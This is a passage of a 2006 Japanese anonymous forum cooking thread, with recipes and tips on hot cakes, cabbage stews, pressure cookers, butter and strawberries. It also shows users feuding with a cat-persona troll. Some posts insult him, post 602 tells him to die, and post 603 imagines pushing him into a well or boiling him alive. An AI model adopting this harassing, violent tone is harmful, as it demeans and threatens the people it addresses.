コリアンダーの種はカレー粉の中の香りの基本部分よ。
カレー粉の半分くらいはコリアンダー種子の粉。

今年はガパオとホラバーをプランターで作ってみたら結構上手くいったので
来年はパクチーとレモングラスも栽培に挑戦してみるかな。
パクチーが常備されてるとちょっと便利かも。
そんなに大量に使うものじゃないし。


517 :陽気な名無しさん:2006/11/11(土) 01:12:04 ID:dGIU8I1B
>>514>>515
やっぱりそうなのね。
うちの相方も、パクチーが苦手で、
ベトナム料理なんて死んでも食べないって勢いなんだけど、
コリアンダーのデトックス効果が大きいってことは知ってて、
パクチーってコリアンダーのことらしいよ、って言ったら、
考え直したみたいだから。
そう、うちの相方は健康ヲタク。

518 :jyo so:2006/11/11(土) 01:32:51 ID:D5a/rPj5
     ▲_▲ 
    [゜w ゜]
   ∪|_|⊃g  ガパオはぐんぐん育つね。いま花が散る所。
     ┛┗

519 :jyo so:2006/11/11(土) 01:33:46 ID:D5a/rPj5
     ▲_▲ 
    [゜w ゜]
   ∪|_|⊃  ガパオは火を消す直前に入れないととけてしまいます。
     ┛┗


520 :陽気な名無しさん:2006/11/11(土) 01:52:23 ID:h8VqV1Cp
メヒコのチワワに行ったときに食べたタコスの中に
パクチーが入ってたんだけど、美味かったわよ
スパイシーな味に合うのね


521 :ないちん =^_^=:2006/11/11(土) 04:47:05 ID:BGTdfmlG
ないちんは、
りりしい日本ねこだな。だから、
ロシアンブルーやヒマラヤンが食べるようなぱくちーなどというものに、
興味はないな。

みゃう。(日本ねこ)

522 :陽気な名無しさん:2006/11/11(土) 16:16:44 ID:TY9Zy5Ep
書き込み時間や行動を見てると、無職で中年、安物思考、孤独、
誰かに構われたい、しかし基本的に協調性も無く空気が嫁無い、妄想癖(痴呆かも)
などのプロファイルができる。


523 :ないちん =^_^=:2006/11/11(土) 19:07:01 ID:VeVnhv9d
みゃう。

嫁がいないものが来たな。嫁無い、とぼやいているな。
ないちんが、
嫁入りしてやってもいいな。マンションを買ってくれたら、
嫁入りするな。

みゃう。(嫁無い)

524 :陽気な名無しさん:2006/11/11(土) 21:14:43 ID:8oBM1a0r
干物をフライパンで焼く事はできないかしら?
御姉さま方教えたください


525 :陽気な名無しさん:2006/11/11(土) 23:06:19 ID:8c8agzki
嫁入り願望
マンション住まい妄想
きっとやっぱり孤独で貧乏なんだわ
野良猫だもの仕方ないわね

526 :陽気な名無しさん:2006/11/11(土) 23:13:51 ID:L+3PWLSy
>>524
普通に焼けるわよ
油をすご〜く薄く引くのがポイント

527 :陽気な名無しさん:2006/11/11(土) 23:18:28 ID:H+pWvP7p
ホットケーキ大好きなあたし。
でも今日、ミックスがないことに気がついて自分で粉類ブレンドして作ったら
十分イケたわ。


528 :陽気な名無しさん:2006/11/11(土) 23:38:17 ID:fE7uNxJ9
ホットケーキに何つけて食べるの?アレンジとかあるのかしら
久しぶりに食べたくなったわ。バターたっぷりが好きなの

529 :陽気な名無しさん:2006/11/11(土) 23:39:26 ID:d1nfSc/z
ケーキのようなホットケーキミックスにはまってるわ!チョコソースかけるの。太るわぁ〜

530 :陽気な名無しさん:2006/11/11(土) 23:53:19 ID:ilFFpiht
>>528
無塩バターとメープルシロップね。

531 :陽気な名無しさん:2006/11/12(日) 00:04:16 ID:BoH+1BWf
アタシはタップリ有塩バターで
メープルとほんのり甘塩っぱい感じが好きだわ!


今日は水炊きにしたわ。はなまるで見たんだけど
地鶏のモモ肉ぶつ切りと手羽(今回は骨付きを使ったのでモモだけにしたけど)を
多めの塩で揉んでしばらくおいてから、表面が白くなる程度下ゆでして
灰汁や余計な脂、塩を洗い流したものを使って出汁をゆっくり取ったら
本当、上品な出汁がとれて、美味しいわ。昔は鶏好きだったんだけど、
最近は臭みを感じる様になってきちゃって敬遠気味だったし
歳かしら?また食べ物の趣向が変わってきたわ。

532 :陽気な名無しさん:2006/11/12(日) 04:17:31 ID:WpUYYOq8
今日から親が旅行。
最近料理を始めた私。
まだ作れるのは野菜炒めとパンプキンスープと魚焼くのと、鍋ぐらい
お姉さま方簡単に作れて野菜をたくさん使いやつおいしい料理教えてくださらいかしら・


533 :陽気な名無しさん:2006/11/12(日) 04:25:29 ID:sHnBLukF
やっぱりホットケーキにはメイプルシロップよね。
でもときどきブルーベリーとか杏のジャムつけて喰うわ

534 :陽気な名無しさん:2006/11/12(日) 05:48:45 ID:gm10njy7
つぶあんとバターも美味しいわよ>ホットケーキ

535 :陽気な名無しさん:2006/11/12(日) 05:59:13 ID:Z3SPhgGA
ホットケーキなんて何年食べてないかしら……

536 :陽気な名無しさん:2006/11/12(日) 06:51:00 ID:OJpmZscD
>>532
蒸しものだけど既出だったらごめんなさいね

鍋でバターをあっためる→大きめに切ったキャベツの葉を3層ほど敷く
→その上に適当にブツ切りした鮭の切り身をのせ、バターを散らす
→キャベツの葉を上に被せるようにのっけていく→湯でといたコンソメスープを少量加える
→ふたをしてとろ火で30分程度

適当に柔らかくなったら塩コショウで味付けして完成。
コンソメスープを入れるのはコゲつけ防止だから少しでおけ。
間間にバターを散らすとおいしいわよ。きのこやブロッコリーいれるとなお◎
火を通すとカサが減るから注意よ。マーガリンでやるとぬめっておいしくないわ。

537 :ないちん =^_^=:2006/11/12(日) 08:02:10 ID:xwHzFbzi
みゃう。

スタバだな。20円ぐらい、
値上がりしているな。コールドが高い会社なので、
夏場の売り上げが悪かったのかもしれないな。

ぐふっ。。。。。

538 :ないちん =^_^=:2006/11/12(日) 08:08:55 ID:xwHzFbzi
>>532
キャベツを、
一口大にちぎる。これを、茹で上がる直前のパスタに投入し、
一緒に湯がく。

市販のパスタソースを混ぜて食う。

ないちんは、
ねこだな。ねこはキャベツもちぎって欲しいのだな。

残り野菜は同様の方法でどうかなりそうだな。

みゃう。(どうにか)

539 :陽気な名無しさん:2006/11/12(日) 09:52:13 ID:xuNu56Qm
>>532
ビーツが手に入るのならボルシチを作ってみて。
お肉と野菜を煮るだけで、とっても簡単よ。
仕上げはサワークリームでね。

540 :陽気な名無しさん:2006/11/13(月) 23:53:40 ID:n0rujIFa
ぶり大根だお!ぶり大根だお!
とぎ汁で茹でるお!
梅酒も入れるお!
(*´∀`*)ムフー

541 :陽気な名無しさん:2006/11/14(火) 00:15:32 ID:WfulsuDc
あたしもキャベツで申し訳ないけど、でもキャベツ料理は簡単で美味しいのよね。

キャベツ半分を更に半分に切って、薄切りにしたセロリ一本分、ニンジン半分、
ニンニク二欠けぐらい、コンソメキューブ2つ、ウインナー数本かベーコン数枚、
カットトマト1缶と一緒に鍋にぶちこんでキャベツが半分浸るくらいのお水で
煮込むと美味しい野菜煮込みスープになるわ。
途中で味見して薄いようならお塩で味をととのえてね。
あと、銀たらをシメジとえのきと椎茸乗せてアルミホイルで包んでホイル焼きも
簡単よ。
オーブンがあるなら200度で30分、トースターなら15分位焼けば出来上がり!
レモンやすだちかけておしょうゆで頂いてもいいし、味ぽんでも美味しいわ。

542 :532 :2006/11/14(火) 04:19:13 ID:qISD0y+w
みなさんこんなにたくさんありがとう・・
本当に感謝しております

543 :陽気な名無しさん:2006/11/14(火) 04:37:55 ID:SEDJqAfy
キャベツは便利でいいわよね。経済的だし。

544 :陽気な名無しさん:2006/11/14(火) 06:52:39 ID:6/XZBA9O
あたし、キャベツ、ニンジン、ダイコン、ジャガイモ、インゲン、タマネギ、ハクサイ等 
うちにある物何でもかんでも、一口大に適当に切ってたっぷりのお湯で茹でちゃうわ。
塩こしょうで味付けして、その中にチキンか鮭か何でもいいからお肉か魚もぶち込んで、
超適当スープよ。 野菜から以外とダシが出てアツアツを飲むと暖まるの。


545 :陽気な名無しさん:2006/11/14(火) 07:21:50 ID:FRePNTr3
アクは取りなさいよ

546 :陽気な名無しさん:2006/11/14(火) 09:34:17 ID:T1YjMDJi
肉や魚は、さきにさっと湯にくぐらして、煮込むときに落とし蓋と兼用のアク取りペーパ
ーを入れとけば楽よ。

547 :陽気な名無しさん:2006/11/14(火) 10:17:58 ID:39uqqztL
私炒め物にした時のキャベツの甘みが嫌いだから
炒め物にはキャベツは入れないわ。

548 :ないちん =^_^=:2006/11/14(火) 11:08:33 ID:LLDzuWSs
>>542
みゃう。(どういたしまして)

ないちんは、また、
感謝されてしまったな。ないちんは、
ねこだな。負け戦の大田道灌の、
道案内をするのだな。

みゃう。(道案内)

549 :ないちん =^_^=:2006/11/14(火) 11:10:56 ID:LLDzuWSs
>>547
同感だな。

ないちんも、
焼きそばを作るときなどは、キャベツとほうれん草などを、
半々にブレンドするな。ソースも、
イカリと醤油を適当にブレンドし、
甘さ控えめの和風辛口にするな。たまねぎも、
green onion に差し替えたりもするな。

さらに、ないちんはねこなので、これに、
鰹節を振り掛けるのだな。大人の味わいだな。

みゃう。(おとな)

550 :ないちん =^_^=:2006/11/14(火) 15:29:23 ID:byH9oGtU
今日は、
ぶればたが食べたいような気がするな。
ぶればたは、
甘めのグラハムブレッドと、
マージャリンでやるな。甘いな。これではおやつだな。

みゃう。(おやつ)

551 :ないちん =^_^=:2006/11/14(火) 15:32:43 ID:byH9oGtU
ここのところ、
カフェ・ド・クオレにないちんは、行ってないな。
豆乳と野菜ジュースを半々で割ったドリンクが、
飲みたいな。カフェ・ド・クオレで知った、
カクテルだな。

みゃう。(カクテル)

552 :陽気な名無しさん:2006/11/14(火) 15:42:37 ID:SEDJqAfy
>>546
へ〜、アク取りペーパーなる便利なものがあるのね。

でも、お玉でアク取りするのも、料理してるわ〜!って気がして結構好きだったりするのよね。

553 :陽気な名無しさん:2006/11/14(火) 16:20:25 ID:brzzlA6B
バタークリームのロールケーキを作ったよ。
カルピスバターを使ったら、ミルク風味たっぷりのクリームになった。
やっぱり生クリームよりバタークリームがおいしいな。

554 :ないちん =^_^=:2006/11/14(火) 22:21:54 ID:KirUNAro
みゃ・・・・

555 :中森明代 ◆Akiyo743PM :2006/11/15(水) 01:35:03 ID:HI8Lo2SX
555akiyo!!!

556 :陽気な名無しさん:2006/11/15(水) 02:19:06 ID:76z8tP/y
オーガニックの全粒パンケーキミックスに、これまたオーガニックの全粒そば粉をまぜて、
オーガニックの脂肪分抜いてない無糖ヨーグルトと、オーガニックの豆乳も全部混ぜて、
ホットケーキ作ったわ。焼くときはオーガニックの無塩バターで、食べるときはオーガニックの
メープルシロップだったの。 全てオーガニックになったのは、
たまたまそういう素材が偶然そろってたからよ。 でも、そのことに気が付いたのは食べたあとだったわ。
なんか、凄く健康的な気分。 でもやっぱりカロリーは高いわよね。

557 :陽気な名無しさん:2006/11/15(水) 02:20:22 ID:hJshI49W
これで556さんはオーガニック釜だわ
おめでとう♪

558 :陽気な名無しさん:2006/11/15(水) 02:27:56 ID:76z8tP/y
>>557
ありがとううん!
ついでに付け加えると、ホットケーキを焼いたフライパンは鉄のフライパンよ!

559 :陽気な名無しさん:2006/11/15(水) 02:46:09 ID:gGI9P85u
今時、鉄のフライパンだなんて羨ましいわ。
やっぱり炒飯や炒めものは鉄を使いたいわ。
フライパンと言うより、中華鍋を絶対に買うと決めたわ!

560 :陽気な名無しさん:2006/11/15(水) 03:15:43 ID:YNdA6Una
>553
カルピスバターって料理に使うよりお菓子用に使う感じのミルキーな風味なの?
私のうちの近所の食材店に売ってあって、ずっと気になってたの。
一回買ってみようかしら。

561 :ないちん =^_^=:2006/11/15(水) 05:25:49 ID:DaZ0Qz5g
かうぴす( cow piss )というのは、
牛のおしっこだな。ないちんは、汚いので、
飲まないことにしているな。

みゃう。(飲まない)

562 :ないちん =^_^=:2006/11/15(水) 05:27:34 ID:DaZ0Qz5g
>>556
ないちんの弟子が現れたな。
ないちんは、今日は、
オーガニックの全粒パスタを茹で、
パスタソースをかけて食べたな。パスタソースは、
レトルトに限るな。

みゃう。(レトルト)

563 :陽気な名無しさん:2006/11/15(水) 06:20:47 ID:0qH/2uIw
農薬や保存料以外にも排除すべきものはあるって事ね

564 :陽気な名無しさん:2006/11/15(水) 07:59:14 ID:76z8tP/y
>>559
二か月ほど前まで使ってた古いフライパンがテフロン加工だったから捨てて、
新しく念願の鉄のフライパンと鉄のお鍋を買ったのよ。 お鍋も鉄だとお湯が沸くのが早いわ!
一人暮らし家族なしの孤独なのオカマだから、自分で健康には気を使わなきゃでしょ?
古い電子レンジもあるけど食べ物には使わない。 胸毛をワックス処理する時に使うぐらいだわ。


565 :陽気な名無しさん:2006/11/15(水) 08:17:59 ID:DkpHsOKf
胸毛処理のどこで電子レンジを使うの?

566 :陽気な名無しさん:2006/11/15(水) 10:47:59 ID:eSlupOQ5
読解力がないのね。

567 :陽気な名無しさん:2006/11/15(水) 12:04:39 ID:hJshI49W
ワックス脱毛・・・痛そうだわ
目からうっすら涙が出そう

568 :陽気な名無しさん:2006/11/15(水) 13:24:29 ID:+ibLs/nT
>>560
バターを精製するときの時間のかけかたが違うの。パンに塗るとその違
いがくっきりはっきりよ。軽さが違うから、お菓子からソースまで美味しくなるわ。

569 :ないちん =^_^=:2006/11/15(水) 18:49:03 ID:+FM1sCgp
>>568
生クリームを、
pet bottle に入れて、ひたすら shake すれば、
バターになるな。やはり、
バターは、手製だな。

みゃう。(手製)

570 :ないちん =^_^=:2006/11/15(水) 18:49:57 ID:+FM1sCgp
>>564
ちがうな。

ないちんは、新しい物好きだな。だから、
チタンが好きだな。チタンの中華なべは、軽いな。

みゃう。(ちたん)

571 :ないちん =^_^=:2006/11/15(水) 18:50:43 ID:+FM1sCgp
>>563
そうだな。

やはり、
きもぶたは、排除せねばならぬな。

みゃう。(そうだな。)

572 :陽気な名無しさん:2006/11/15(水) 19:07:12 ID:gGI9P85u
>>564
テフロンは捨てちゃったの?潔いいわね。
テフロンはあまり体に良くないのよね。
ホーロウ鍋も不安だわ。

やっぱり良いものに戻るのよね。


胸毛処理してるの?
あたしも生えてるけど、何にもしてないわ。
胸筋あると好きな人多いわよ。

573 :ないちん =^_^=:2006/11/15(水) 19:37:08 ID:GbvbcqG3
ないちんは、
きょうきんはないな。が、胸毛は生えてきたな。

やはり、鍋は、
チタンだな。みゃう。(チタン)

574 :陽気な名無しさん:2006/11/15(水) 20:29:25 ID:R5ryo2W0
スルメと昆布と人参があるので
「松前漬け」を作りたいんだけど
千切りにして醤油であえるだけでいいのかしら。

575 :陽気な名無しさん:2006/11/15(水) 20:45:29 ID:2mLhEIWu
松前漬けってお酒はいってないかしら?あとあたしだったら鷹の爪入れてピリ辛にしちゃうかも。

576 :陽気な名無しさん:2006/11/15(水) 20:51:13 ID:NpVTjM6W
>>565
あたしもわからないわ。
電子レンジに胸毛とワックス入れて加熱すると、何かできるのかしら?

577 :ないちん =^_^=:2006/11/15(水) 21:02:16 ID:GbvbcqG3
>>574
みゃう。(切り干し大根)

>>575
みゃう。(酢じめ)

578 :陽気な名無しさん:2006/11/15(水) 21:52:49 ID:Z/7CZLJu

同性愛サロン板、最も痛い住人を決めるのよ!その5
http://www.37vote.net/2kote/1162967730/


579 :陽気な名無しさん:2006/11/15(水) 22:25:23 ID:5MkbRisU
たぶん、胸毛を処理するためのワックスを電子レンジで温めて溶かす
ということじゃないかしら。
あたしは胸毛がないから本当のところは分からないけど、564の文章
をなんとか読解してみるとこういう結論になったわ。

580 :陽気な名無しさん:2006/11/16(木) 01:55:40 ID:yPmQ3Jiy
いちごのショートケーキを作ったんだけど
途中でいちごをつまみ食いしすぎてデコレーション用のが足りなくなったわ・・・
ttp://www.nya-taloda.jpn.org/2MB/src/up0584.jpg
もっと規則的に並べたかったのよ!!

581 :陽気な名無しさん:2006/11/16(木) 02:04:14 ID:VQkMMjVL
>>580
スポンジもお手製なのかしら?凄いわ!!!
で一人っきりで食い上げるのね?すんごいわ!!!!!

582 :陽気な名無しさん:2006/11/16(木) 02:08:39 ID:yPmQ3Jiy
>>581
そこまで大食漢じゃないわw
明日彼と半分ずつ食べるつもりよ。
スポンジも型が6号しかなかったから大きいし(直径18cm高さ7cmサイズ)

充分大食漢かしらw

583 :陽気な名無しさん:2006/11/16(木) 02:30:29 ID:hJML0xNY
私ここずーっと旦那の弁当作ってんのよ、朝10分位で
ちょろっと作って持っていったら同僚に好評らしくて
始めは2日に1回とかだったのに今じゃ毎日・・・
晩に多めに作った時は弁当に入れたりしてるんだけど
やっぱ毎日は大変だわ
この前なんか冷凍の焼きおにぎりにごまと梅ちらしたの
入れたらそれも自分で作ったって言ったって言うしw
てか、いくらなんでも朝から焼きおにぎり作って弁当に
入れてくるのんけなんかいないでしょ!ってww
明日は今日作ったおじゃがとチョリソ、ほうれん草のバター
醤油炒めの残りものだわ あとは定番のナゲットねw

584 :陽気な名無しさん:2006/11/16(木) 02:58:14 ID:VQkMMjVL
ケッ 彼だの旦那だの、てめーら許さねーぞ?

冷蔵庫に10月22日に期限切れの焼きそばが見つかったわ!
とっとと食わねば本当に腐っちゃうわ

585 :陽気な名無しさん:2006/11/16(木) 03:01:33 ID:goALWEG5
アンタも賞味期限とっくに過ぎて腐ってんじゃないの

586 :陽気な名無しさん:2006/11/16(木) 03:09:50 ID:bypVUhbE
その焼きそば、もうやめた方がいいんじゃない?


あたしは今日、まるちゃんの生タイプソース焼きそばを買ったわ。
三食入りで百円だったのよ。

587 :陽気な名無しさん:2006/11/16(木) 03:25:17 ID:Sk1uDiqL
あたし煮込み料理が大好きでさ
久しぶりに牛スジ似たいんだけど時間ないのよね〜
トロットロのを食べたいから半日ぐらいは似ないとダメね
日曜まで待てないわよ〜

588 :ないちん =^_^=:2006/11/16(木) 04:55:51 ID:e5aFNMav
>>580
いちごが、
半分なのが、貧乏臭いな。自殺中学の教師に言わせれば、
出荷できないイチゴだな。そういって、
生徒をいじめるのだな。

ないちんは、とよのかだな。

みゃう。(とよのか)

>>578
ないちんが10位になっているな。が、まだまだ、
負けているな。

みゃう。(10位)

589 :ないちん =^_^=:2006/11/16(木) 04:58:29 ID:e5aFNMav
>>584
パスタを長めにゆでると、
ちゃんぽん太麺のようになったな。ないちんも、これで、
ちゃんぽん麺焼きそばを作りたいな。でも、
ソースがないな。ソースだけ、
ないちんに送って欲しいな。

みゃう。(そーす)

590 :陽気な名無しさん:2006/11/16(木) 05:31:02 ID:pK4Kcj/q
>>588
とよのか=高級イチゴと思ってるアンタが一番貧乏臭いわwww何年前よ、とよのかって

今は『あまおう』が旨いイチゴなのよ〜
あぁキルフェボンのあまおうのタルト食いたくなったわ〜
明日昼休み行って来るわ〜

591 :陽気な名無しさん:2006/11/16(木) 06:14:13 ID:bypVUhbE
>>580
美味しそう。食いたいわ。

592 :陽気な名無しさん:2006/11/16(木) 09:43:33 ID:bUC21y50
あら〜 あたしの胸毛ワックスが物議を醸していたようね?
分かってる人は分かってるようだけど、分からない人には説明する気力はないわw
アホ臭いっていうか、ワックス脱毛のことなんて知らない人は知らないでいいことだし。
でも>>579が、説明してくれてるわ。 ありがとう。

あたしご飯も土鍋で炊くのよ。 もっと身の回りや生活スタイルまで少しづつオーガニックに
限りなく近づけたいわ。 .....................ってことは、むだ毛処理もやめた方がいいってことかしら?
考えさせられるわね。


593 :陽気な名無しさん:2006/11/16(木) 11:07:21 ID:UOdG1Bh8
ケーキと胸毛のレスが交互に行き交っていて胃もたれするわw

594 :陽気な名無しさん:2006/11/16(木) 13:08:49 ID:9/oLot8S
>>587
煮込み料理が大好きなら
安い圧力鍋購入してみたらどうでしょうか?
牛スジでも1時間位でトロットロなのが食べれるよ。
煮込み料理の野菜の下ごしらえにも重宝するしね。

595 :ないちん =^_^=:2006/11/16(木) 15:01:34 ID:bc2TuZUM
>>590
そのいじめ教師は、
あまおうもいじめに使っていたな。

ないちんは、あまり、
果物に興味がないな。間食は、
菓子パンが良いな。ないちんは天然酵母パンを焼いたこともある、
パン好きなのだな。

みゃう。(パン好き)

596 :陽気な名無しさん:2006/11/16(木) 15:02:41 ID:x8em0MCH
>>594
「安い」圧力鍋って、…なんで?


597 :ないちん =^_^=:2006/11/16(木) 15:03:34 ID:bc2TuZUM
>>592
ないちんも、
リンナイの土鍋対応ガス炊飯器の、
アルファーかまど炊きを狙っているな。

みゃう。(土鍋)

598 :ないちん =^_^=:2006/11/16(木) 15:06:03 ID:bc2TuZUM
>>594
これも、
あるふぁーかまど炊きが良いな。勝手に、
煮込んでくれるな。

安い pressure cooker では、あまり、
圧力がかからないので、
とろとろにはならないな。

ないちんは、
ピースが好きだな。しかしアルミだな。
セブは、嫌いだな。

みゃう。(ぴーす)

599 :ないちん =^_^=:2006/11/16(木) 15:18:42 ID:bc2TuZUM
>>594
炊飯器でやったほうがましだな。これなら、
圧力もかかるな。ないちんはこれで、
ポトフを作ったことがあるな。

みゃう。(ぽとふ)

600 :ないちん =^_^=:2006/11/16(木) 15:21:55 ID:RYfS54ar
>>596
安物しか、買えないからだな。

ないちんはこんなやつと、
椿屋に行くつもりはないな。ないちんと1000円のコーヒーなど、
高嶺の花だからだな。

みゃう。(高嶺の花)

601 :ないちん =^_^=:2006/11/16(木) 15:22:51 ID:RYfS54ar
やはり、
反論すら出来ないようだな。ないちんの、
ねこぱんちの威力に、ひれ伏しているのだな。

みゃう!!(ねこぱんち)

602 :陽気な名無しさん:2006/11/16(木) 15:27:11 ID:UmMqLdBE
※ コテはレス禁止。 ってか「ないちん」死ね。

>>1も読めない馬鹿は消えて

603 :陽気な名無しさん:2006/11/16(木) 15:29:27 ID:EIt+9Upm
ないちんを井戸に突き落としてやりたいわ。それかぐつぐつ煮えたぎった鍋で骨が溶けるまで煮込んでやりたい

604 :ないちん =^_^=:2006/11/16(木) 15:31:59 ID:RYfS54ar
>>602
ファーストフードのすれが、
なくなってしまっているのだな。だから、仕方がないな。ないちんは、
どろぼうねこだな。どろぼうねこは、
好きなところで勝手気ままに振舞うのだな。

みゃう。(どろぼう)

605 :ないちん =^_^=:2006/11/16(木) 15:32:59 ID:RYfS54ar
>>603
みゃう。(安い圧力鍋でやれ!!)

606 :ないちん =^_^=:2006/11/16(木) 15:34:14 ID:RYfS54ar
今日は、
スタバだな。これから、2ちょ近辺の、
かまもすに行くかもしれないな。

みゃう。(かまもす)

607 :陽気な名無しさん:2006/11/16(木) 15:43:57 ID:AEBhKg1g
ないちんは「おもしろいつもり」なんだろうけど、な〜んもおもしろくない。


608 :陽気な名無しさん:2006/11/16(木) 16:00:26 ID:u3AN1Xob
>>604
スレが無いなら自分で立てなさいよ
バカじゃない?

609 :ないちん =^_^=:2006/11/16(木) 16:59:33 ID:VCYafGPj
>>607
ないちんの書き込みは、
ないちんが自分で読んでも、腹が立つな。

みゃう。(立腹)

610 :ないちん =^_^=:2006/11/16(木) 17:07:34 ID:VCYafGPj
既に、
ないちんは、居酒屋だな。低俗な音楽が流れているな。

みゃう。(低俗)

611 :594:2006/11/16(木) 18:30:29 ID:W/+P04JC
>>596
安い圧力鍋と書いたのは最初から高いのを購入して
使わなかったら勿体無いかな?と思っての事です。
使い慣れてから良いのに買い換えても遅くないと思って・・・
俺は2千円位の安物を使ってますけどそんなに圧力がどうとか気になって無いもので・・・
ただ、小さいのでいっぺん煮る事が出来る量が少ないかな?と思う程度ですね。

612 :陽気な名無しさん:2006/11/16(木) 18:33:23 ID:UOdG1Bh8
>>611
圧力鍋って、扱いづらさとかなんかデメリットになる事ありますか?
いまいち購入に踏みきれなくて

613 :陽気な名無しさん:2006/11/16(木) 18:43:24 ID:W/+P04JC
>>612
普通の鍋からすれば部品点数が多いので洗浄時に無くしたり、洗浄後 付け忘れなければ大丈夫です。
パッキン等たまに付け忘れてたりも俺は有ったので・・・・

所詮調理器具なので難しい事は全然無いんですけどね。
我が家はガスなので電化コンロの事は分ってないのですが小さいの購入すると鍋底よりも火が大きくて
取っ手が焦げそうになったことがある位でしょうか?
実際は蒸気が上がったらとろ火にするのであまり心配はいらないのですが・・・・

614 :陽気な名無しさん:2006/11/16(木) 18:58:39 ID:Tu8XdUMu
日本の生食用イチゴは、そのまま食べるには最高なんだけど、加工用には香りが弱くて甘すぎるのよ。
ケーキ自体が甘いんだから、ホントは酸味があって香りが強いイチゴのほうがいいのよ。

615 :陽気な名無しさん:2006/11/16(木) 19:05:52 ID:BOrl+gtl
大きい圧力鍋を買ってしまって重いから出すのが億劫で出番が少ないわ。
きちんと圧力を抜いても暫くおいてから蓋を開けないと汁が爆発して怖かったし。
ル・クルーゼのホーロー鍋は使い勝手もよくお洒落で料理するのも楽しいわ。
15000円ぐらいするけど一生物ね。

>>614
私がよく買う芦屋のケーキ屋は日本のイチゴは甘いからすっぱいイチゴを輸入して使ってるって聞いたわ。
りんごもすっぱい紅玉が一番ケーキに適してるしね。
また冬になるとイチゴが出回るから楽しみね。

616 :陽気な名無しさん:2006/11/16(木) 19:52:53 ID:UOdG1Bh8
>>613
あらそうなのね? ご丁寧にありがとうございます。
圧力っていうからちょっと扱いが怖そうだと思ってたのよ
今度、てふぁーるの圧力鍋でも買ってみようかしら

617 :陽気な名無しさん:2006/11/16(木) 19:56:56 ID:+eI/4ozr
どっかの誤爆かしら

618 :陽気な名無しさん:2006/11/16(木) 19:59:51 ID:+eI/4ozr
アンカー付いてないわw
>>614の事ね。

619 :陽気な名無しさん:2006/11/16(木) 20:18:51 ID:Tu8XdUMu
粘着糞コテの肩を持つつもりは毛頭ないんだけど、
>>590みたいにプランド名に踊らされて、
味覚までおかしくなってる方にも、ひとこと言いたかったのよ。

あまおうは確かに美味しいイチゴよ。そのまま食べるには最高なの。
でもね、糖度が高すぎてケーキには向かないのよ。
キルフェボンは、どんどんおかしな方向に進んでる気がしてるわ。

620 :ないちん =^_^=:2006/11/16(木) 20:18:56 ID:DoPnT6aK
圧力鍋は、思いな。だから、
軽いチタン鍋がいいのだな。中華なべでも、
5000円ぐらいだな。

ないちんは、
色男だな。色男は、金と力はなかりけり、なのだな。

みゃう。(色男)

621 :ないちん =^_^=:2006/11/16(木) 20:21:08 ID:DoPnT6aK
>>619
ないちんは、
ドライフルーツたっぷりのドイツ風ケーキが食べたいな。

生イチゴや、
スポンジケーキにこだわるやつは、バカだな。

みゃう。(ドライ・フルーツ)

622 :陽気な名無しさん:2006/11/16(木) 20:26:07 ID:u3AN1Xob
イチゴは生食じゃなく加工する場合使用するのは酸っぱい品種じゃないと駄目なの
アタシ、農業高校出身で実習でイチゴジャムをげんなりするぐらい作ってたから分かるわ

イチゴを加工する場合、腐敗防止で砂糖とかドップリ入れるから
甘味が強いイチゴを使うと美味しくないの、
だから酸味が強いイチゴを使って甘味と酸味のバランスを取るの

623 :陽気な名無しさん:2006/11/16(木) 20:34:13 ID:qHu2oYuc
そういえば友達は
畜産の授業で
ニワトリの首ちょんぎって肛門に手突っ込んで内臓取り出したらしいわ。

かわいそうなニワトリちゃん…

でも美味しいの☆

624 :ないちん =^_^=:2006/11/16(木) 21:24:14 ID:DoPnT6aK
>>622
ないちんは、
ハム(生ハムも)が欲しいな。送って欲しいな。

みゃう。(はむ)

625 :陽気な名無しさん:2006/11/17(金) 01:53:42 ID:S20PXgKx
カルピスバターのこと教えてくれた姐さん、ありがとう!
明日仕事帰りに買ってみることにしたわ!

最近休みの日のお昼は手作りのビスケットと果物と自分で育てたヨーグルトなの。
ケンタのビスケットが好きでよく買ってたけど、自分でつくる方が美味しいわ。


626 :陽気な名無しさん:2006/11/17(金) 02:40:43 ID:K7gar91/
>>623
フランス料理の学校でも習うわ。
お尻から手を入れて内臓を出すの。

ラム酒漬けのレーズンがよい感じに上がったから
私もカルピスバターでバタークリームを作って、
レーズンサンドを作るわ。

627 :陽気な名無しさん:2006/11/17(金) 02:54:04 ID:K7gar91/
カカオ99%チョコってお菓子につかうとおいしいわ。
コアントローに漬けたオレンジピールと刻んだチョコで
パウンドケーキを作ったら最高だったわ。
コアントロー飲みながら99%チョコを食べてもいけるんだけどね。

628 :ないちん =^_^=:2006/11/17(金) 04:44:51 ID:NhsPt0sn
ないちんは、
高梨のバターが好きだな。カルピスには、興味がないな。
蜂蜜入りなどのバターだと、
四葉のものが好きだな。

> 牛に優しくすると牛乳がおいしくなるんだよ。(高梨)

みゃう。(TAKANASHI)

629 :ないちん =^_^=:2006/11/17(金) 04:46:55 ID:NhsPt0sn
>>625
ないちんは、
スタバのスコーンが好きだな。しかし、甘すぎるな。

みゃう。(甘すぎ)

ヨーグルトは、スタバにもある、
ヨーグルメイトだな。これを豆乳で育てても、おいしいな。

ケンタを使うやつは、バカだな。

みゃう。(ばか)

630 :ないちん =^_^=:2006/11/17(金) 04:52:47 ID:NhsPt0sn
>>626
みゃう!!

おフランスを自慢しているばか者が居るな。ないちんはこれに、

http://www.nippn.co.jp/nippn/contents/nippn/fun_bread_7.shtml

行きたかったな。もう締め切られたな。

みゃう。(締め切り)

631 :ないちん =^_^=:2006/11/17(金) 04:55:17 ID:KTZdbGKC
>>627
ないちんが好きなのは、
ガーナ・チョコレートだな。ロッテだな。大人の味だな。

みゃう。(ガーナ)

632 :陽気な名無しさん:2006/11/17(金) 08:59:22 ID:8lipcFEE
ぶっこんで火にかけるだけあら凄く豪華でおいしい!みたいの教えて!

633 :陽気な名無しさん:2006/11/17(金) 09:21:32 ID:1KlDnQYw
=^_^= ないちん

コイツ邪魔だわ。

634 :ないちん =^_^=:2006/11/17(金) 10:58:34 ID:4vuLIetT
ないちんは、
ねこだな。ねこは、自分の好きなところに、
へばりつくのだな。

みゃう。=^_^=

>>632
だしが出る骨付き肉と、
根菜をまるごと電気釜に入れて1時間待つ。

みゃう。(待つ)

635 :陽気な名無しさん:2006/11/17(金) 11:55:37 ID:3LZOaX5S
ないちん
ハム送ってやるから住所晒せw


636 :ないちん =^_^=:2006/11/17(金) 12:17:49 ID:Kcivm0n5
みゃう!!

ないちんに対する、
心無い嫌がらせだな。モラル・ハザードを感じざるを得ないな。

みゃう。(モラル・ハザード)

637 :陽気な名無しさん:2006/11/17(金) 13:06:34 ID:vpNrkwiB

同性愛サロン板、最も痛い住人を決めるのよ!その5
